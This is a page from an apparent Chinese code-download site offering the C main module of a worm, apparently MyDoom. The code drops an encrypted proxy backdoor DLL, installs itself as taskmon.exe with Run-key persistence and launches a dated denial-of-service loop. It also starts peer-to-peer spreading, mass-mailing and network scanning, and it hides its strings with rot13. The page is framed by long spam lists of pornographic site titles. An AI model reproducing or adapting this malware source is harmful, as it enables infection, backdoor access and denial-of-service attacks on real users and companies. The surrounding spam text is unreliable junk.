亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? main.c

?? 一個蠕蟲病毒源代碼
?? C
字號:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "lib.h"
#include "massmail.h"
#include "scan.h"
#include "sco.h"

#include "xproxy/xproxy.inc"

const char szWhoami[] = "(sync.c,v 0.1 2004/01/xx xx:xx:xx andy)";

/* p2p.c */
void p2p_spread(void);

struct sync_t {
	int first_run;
	DWORD start_tick;
	char xproxy_path[MAX_PATH];
	int xproxy_state;              /* 0=unknown, 1=installed, 2=loaded */
	char sync_instpath[MAX_PATH];
	SYSTEMTIME sco_date;
	SYSTEMTIME termdate;
};

void decrypt1_to_file(const unsigned char *src, int src_size, HANDLE hDest)
{
	unsigned char k, buf[1024];
	int i, buf_i;
	DWORD dw;
	for (i=0,buf_i=0,k=0xC7; i<src_size; i++) {
		if (buf_i >= sizeof(buf)) {
			WriteFile(hDest, buf, buf_i, &dw, NULL);
			buf_i = 0;
		}
		buf[buf_i++] = src[i] ^ k;
		k = (k + 3 * (i % 133)) & 0xFF;
	}
	if (buf_i) WriteFile(hDest, buf, buf_i, &dw, NULL);
}

void payload_xproxy(struct sync_t *sync)
{
	char fname[20], fpath[MAX_PATH+20];
	HANDLE hFile;
	int i;
	rot13(fname, "fuvztncv.qyy");   /* "shimgapi.dll" */
	sync->xproxy_state = 0;
	for (i=0; i<2; i++) {
		if (i == 0)
			GetSystemDirectory(fpath, sizeof(fpath));
		else
			GetTempPath(sizeof(fpath), fpath);
		if (fpath[0] == 0) continue;
		if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
		lstrcat(fpath, fname);
		hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
			NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
			if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
				continue;
			sync->xproxy_state = 2;
			lstrcpy(sync->xproxy_path, fpath);
			break;
		}
		decrypt1_to_file(xproxy_data, sizeof(xproxy_data), hFile);
		CloseHandle(hFile);
		sync->xproxy_state = 1;
		lstrcpy(sync->xproxy_path, fpath);
		break;
	}

	if (sync->xproxy_state == 1) {
		LoadLibrary(sync->xproxy_path);
		sync->xproxy_state = 2;
	}
}

void sync_check_frun(struct sync_t *sync)
{
	HKEY k;
	DWORD disp;
	char i, tmp[128];

	/* "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\ComDlg32\\Version" */
	rot13(tmp, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Rkcybere\\PbzQyt32\\Irefvba");

	sync->first_run = 0;
	for (i=0; i<2; i++)
		if (RegOpenKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
		    tmp, 0, KEY_READ, &k) == 0) {
			RegCloseKey(k);
			return;
		}

	sync->first_run = 1;
	for (i=0; i<2; i++)
		if (RegCreateKeyEx((i == 0) ? HKEY_LOCAL_MACHINE : HKEY_CURRENT_USER,
		    tmp, 0, NULL, 0, KEY_WRITE, NULL, &k, &disp) == 0)
			RegCloseKey(k);
}

int sync_mutex(struct sync_t *sync)
{
	char tmp[64];
	rot13(tmp, "FjroFvcpFzgkF0");		/* "SwebSipcSmtxS0" */
	CreateMutex(NULL, TRUE, tmp);
	return (GetLastError() == ERROR_ALREADY_EXISTS) ? 1 : 0;
}

void sync_install(struct sync_t *sync)
{
	char fname[20], fpath[MAX_PATH+20], selfpath[MAX_PATH];
	HANDLE hFile;
	int i;
	rot13(fname, "gnfxzba.rkr");       /* "taskmon.exe" */

	GetModuleFileName(NULL, selfpath, MAX_PATH);
	lstrcpy(sync->sync_instpath, selfpath);
	for (i=0; i<2; i++) {
		if (i == 0)
			GetSystemDirectory(fpath, sizeof(fpath));
		else
			GetTempPath(sizeof(fpath), fpath);
		if (fpath[0] == 0) continue;
		if (fpath[lstrlen(fpath)-1] != '\\') lstrcat(fpath, "\\");
		lstrcat(fpath, fname);
		SetFileAttributes(fpath, FILE_ATTRIBUTE_ARCHIVE);
		hFile = CreateFile(fpath, GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
			NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
		if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) {
			if (GetFileAttributes(fpath) == INVALID_FILE_ATTRIBUTES)
				continue;
			lstrcpy(sync->sync_instpath, fpath);
			break;
		}
		CloseHandle(hFile);
		DeleteFile(fpath);

		if (CopyFile(selfpath, fpath, FALSE) == 0) continue;
		lstrcpy(sync->sync_instpath, fpath);
		break;
	}
}

void sync_startup(struct sync_t *sync)
{
	HKEY k;
	char regpath[128];
	char valname[32];

	/* "Software\\Microsoft\\Windows\\CurrentVersion\\Run" */
	rot13(regpath, "Fbsgjner\\Zvpebfbsg\\Jvaqbjf\\PheeragIrefvba\\Eha");
	rot13(valname, "GnfxZba");	/* "TaskMon" */

	if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, regpath, 0, KEY_WRITE, &k) != 0)
		if (RegOpenKeyEx(HKEY_CURRENT_USER, regpath, 0, KEY_WRITE, &k) != 0)
			return;
	RegSetValueEx(k, valname, 0, REG_SZ, sync->sync_instpath, lstrlen(sync->sync_instpath)+1);
	RegCloseKey(k);
}

int sync_checktime(struct sync_t *sync)
{
	FILETIME ft_cur, ft_final;
	GetSystemTimeAsFileTime(&ft_cur);
	SystemTimeToFileTime(&sync->termdate, &ft_final);
	if (ft_cur.dwHighDateTime > ft_final.dwHighDateTime) return 1;
	if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return 0;
	if (ft_cur.dwLowDateTime > ft_final.dwLowDateTime) return 1;
	return 0;
}

void payload_sco(struct sync_t *sync)
{
	FILETIME ft_cur, ft_final;

/* What's the bug about "75% failures"? */

	GetSystemTimeAsFileTime(&ft_cur);
	SystemTimeToFileTime(&sync->sco_date, &ft_final);
	if (ft_cur.dwHighDateTime < ft_final.dwHighDateTime) return;
	if (ft_cur.dwLowDateTime < ft_final.dwLowDateTime) return;


/* here is another bug.
   actually, the idea was to create a new thread and return; */

	for (;;) {
		scodos_main();
		Sleep(1024);
	}
}

DWORD _stdcall sync_visual_th(LPVOID pv)
{
	PROCESS_INFORMATION pi; 
	STARTUPINFO si; 
	char cmd[256], tmp[MAX_PATH], buf[512];
	HANDLE hFile;
	int i, j;
	DWORD dw;

	tmp[0] = 0;
	GetTempPath(MAX_PATH, tmp);
	if (tmp[0] == 0) goto ex;
	if (tmp[lstrlen(tmp)-1] != '\\') lstrcat(tmp, "\\");
	lstrcat(tmp, "Message");

	hFile = CreateFile(tmp, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ|FILE_SHARE_WRITE,
		NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	if (hFile == NULL || hFile == INVALID_HANDLE_VALUE) goto ex;
	for (i=0, j=0; i < 4096; i++) {
		if (j >= (sizeof(buf)-4)) {
			WriteFile(hFile, buf, sizeof(buf), &dw, NULL);
			j = 0;
		}
		if ((xrand16() % 76) == 0) {
			buf[j++] = 13;
			buf[j++] = 10;
		} else {
			buf[j++] = (16 + (xrand16() % 239)) & 0xFF;
		}
	}
	if (j) WriteFile(hFile, buf, j, &dw, NULL);
	CloseHandle(hFile);

	wsprintf(cmd, "notepad %s", tmp);
	memset(&si, '\0', sizeof(si));
	si.cb = sizeof(si);
	si.dwFlags = STARTF_USESHOWWINDOW;
	si.wShowWindow = SW_SHOW;
	if (CreateProcess(0, cmd, 0, 0, TRUE, 0, 0, 0, &si, &pi) == 0)
		goto ex;
	WaitForSingleObject(pi.hProcess, INFINITE);
	CloseHandle(pi.hProcess);

ex:	if (tmp[0]) DeleteFile(tmp);
	ExitThread(0);
	return 0;
}

void sync_main(struct sync_t *sync)
{
	DWORD tid;

	sync->start_tick = GetTickCount();
	sync_check_frun(sync);
	if (!sync->first_run)
		if (sync_mutex(sync)) return;
	if (sync->first_run)
		CreateThread(0, 0, sync_visual_th, NULL, 0, &tid);
	payload_xproxy(sync);

	if (sync_checktime(sync)) return;

	sync_install(sync);
	sync_startup(sync);

	payload_sco(sync);

	p2p_spread();

	massmail_init();
	CreateThread(0, 0, massmail_main_th, NULL, 0, &tid);

	scan_init();
	for (;;) {
		scan_main();
		Sleep(1024);
	}
}

/* shit, MSVC inlined it to WinMain... I didn't expect. */
static void wsa_init(void)
{
	WSADATA wsadata;	/* useless shit... */
	WSAStartup(MAKEWORD(2,0), &wsadata);
}

int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
{
	static const SYSTEMTIME termdate = { 2004,2,0,12,   2,28,57 };
	static const SYSTEMTIME sco_date = { 2004,2,0, 1,  16, 9,18 };
	struct sync_t sync0;

	xrand_init();
	wsa_init();

	memset(&sync0, '\0', sizeof(sync0));
	sync0.termdate = termdate;
	sync0.sco_date = sco_date;
	sync_main(&sync0);

	ExitProcess(0);
}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产日韩精品一区二区三区在线| 免费的成人av| 日本aⅴ精品一区二区三区| 国产一区在线不卡| 精品视频1区2区| 国产亚洲一区二区在线观看| 手机精品视频在线观看| 91影视在线播放| 欧美精彩视频一区二区三区| 日韩和欧美一区二区三区| 91色综合久久久久婷婷| 国产欧美日韩精品在线| 精油按摩中文字幕久久| 7777精品伊人久久久大香线蕉完整版| 亚洲欧洲99久久| 不卡的av网站| 国产精品久久影院| 国产电影一区二区三区| 欧美大胆人体bbbb| 五月婷婷色综合| 欧美三级视频在线| 亚洲自拍偷拍av| 欧美综合在线视频| 亚洲第一狼人社区| 欧美在线制服丝袜| 亚洲一区二区三区三| 一本色道久久加勒比精品| 国产精品久久国产精麻豆99网站| 国产电影一区在线| 日本一二三不卡| 国产成人99久久亚洲综合精品| 欧美一级片免费看| 另类中文字幕网| 精品久久久久久久一区二区蜜臀| 蜜桃视频一区二区| 欧美精品一区二区三区在线 | 91麻豆精品国产自产在线| 亚洲图片一区二区| 欧美最猛性xxxxx直播| 亚洲第一二三四区| 91麻豆精品久久久久蜜臀| 男男成人高潮片免费网站| 日韩欧美的一区| 韩国成人精品a∨在线观看| 久久影院电视剧免费观看| 国产精品白丝av| 日韩毛片精品高清免费| 在线观看免费亚洲| 亚洲.国产.中文慕字在线| 91精品一区二区三区在线观看| 蜜桃精品视频在线| 国产日产精品1区| 色老汉av一区二区三区| 日韩影院在线观看| 国产区在线观看成人精品| 色88888久久久久久影院按摩| 亚洲国产欧美在线| 精品国产乱码久久久久久闺蜜| 国产高清亚洲一区| 亚洲一区二区三区四区在线观看| 日韩午夜在线播放| 99久久婷婷国产综合精品| 日日欢夜夜爽一区| 国产欧美久久久精品影院| 欧美在线观看一区| 国产一区二区三区免费观看| 亚洲女厕所小便bbb| 精品区一区二区| 99久久精品国产麻豆演员表| 视频在线观看一区| 一色屋精品亚洲香蕉网站| 日韩一级大片在线| 91蜜桃传媒精品久久久一区二区| 日韩电影在线一区二区三区| 国产区在线观看成人精品 | 亚洲午夜精品在线| 久久久精品人体av艺术| 在线免费观看日本一区| 东方欧美亚洲色图在线| 日韩**一区毛片| 最新国产の精品合集bt伙计| 欧美一区日韩一区| 在线看日韩精品电影| 国产麻豆成人传媒免费观看| 亚洲免费观看高清在线观看| 欧美va天堂va视频va在线| 欧美性色欧美a在线播放| 成人激情文学综合网| 九色porny丨国产精品| 亚洲成人精品在线观看| 最近日韩中文字幕| 中文字幕成人在线观看| 欧美v亚洲v综合ⅴ国产v| 欧美精品久久久久久久多人混战| 91在线丨porny丨国产| 国产成人亚洲综合a∨婷婷| 欧美aaaaaa午夜精品| 亚洲国产成人av好男人在线观看| 国产精品麻豆欧美日韩ww| 久久理论电影网| 精品国产免费久久| 欧美成人aa大片| 欧美不卡激情三级在线观看| 欧美高清精品3d| 欧美日韩在线综合| 欧美日韩不卡一区二区| 欧美日韩国产高清一区二区| 欧美日韩视频在线第一区| 欧日韩精品视频| 欧美日韩国产在线观看| 9191精品国产综合久久久久久| 欧美视频精品在线| 欧美三区在线观看| 91精品在线观看入口| 在线91免费看| 日韩美女天天操| 亚洲精品一区二区在线观看| 久久久久久久综合色一本| 2020国产精品久久精品美国| 国产亚洲成av人在线观看导航| 精品国产免费久久| 在线电影院国产精品| 欧美放荡的少妇| 日韩一区二区麻豆国产| www久久精品| 日本一区二区成人| 亚洲免费成人av| 亚洲成人一区在线| 精品中文字幕一区二区| 国产精品18久久久久| 9色porny自拍视频一区二区| 色av成人天堂桃色av| 欧美高清dvd| 国产视频亚洲色图| 亚洲精品成人少妇| 奇米亚洲午夜久久精品| 国产精品综合视频| 欧美综合一区二区| 欧美成人精品3d动漫h| 中文字幕中文字幕一区| 日韩高清不卡一区| 成人黄色软件下载| 欧美日韩在线三级| 久久免费精品国产久精品久久久久| 国产欧美一区二区三区在线老狼| 亚洲综合一区二区精品导航| 久久www免费人成看片高清| 91色视频在线| 欧美第一区第二区| 一区二区高清在线| 国产乱码精品1区2区3区| 91黄视频在线| 久久精品人人做人人爽97| 一级精品视频在线观看宜春院| 激情综合亚洲精品| 欧美婷婷六月丁香综合色| 国产亚洲欧美日韩日本| 日韩成人精品在线| 99精品久久只有精品| 欧美大黄免费观看| 亚洲国产成人高清精品| 99久久精品国产观看| 久久午夜羞羞影院免费观看| 亚洲成人黄色小说| 不卡的电影网站| 久久婷婷色综合| 首页国产欧美日韩丝袜| 在线亚洲人成电影网站色www| 久久婷婷国产综合精品青草| 五月天视频一区| 色88888久久久久久影院野外| 欧美国产国产综合| 国产乱一区二区| 精品处破学生在线二十三| 亚洲18影院在线观看| 色婷婷综合中文久久一本| 国产精品视频免费看| 国内外精品视频| 日韩欧美一区二区不卡| 亚洲一二三四久久| 99视频有精品| 成人欧美一区二区三区小说| 国产91富婆露脸刺激对白| 欧美大片在线观看一区二区| 免费成人美女在线观看.| 在线综合+亚洲+欧美中文字幕| 亚洲制服欧美中文字幕中文字幕| 91麻豆免费看| 亚洲你懂的在线视频| 色综合天天综合网国产成人综合天 | 国产精品乱码一区二三区小蝌蚪| 日韩av电影天堂| 欧美日韩国产高清一区| 亚洲va国产天堂va久久en| 欧洲另类一二三四区| 亚洲影院久久精品| 欧美色图免费看| 亚洲成年人影院| 欧美一级高清大全免费观看| 日韩电影在线免费|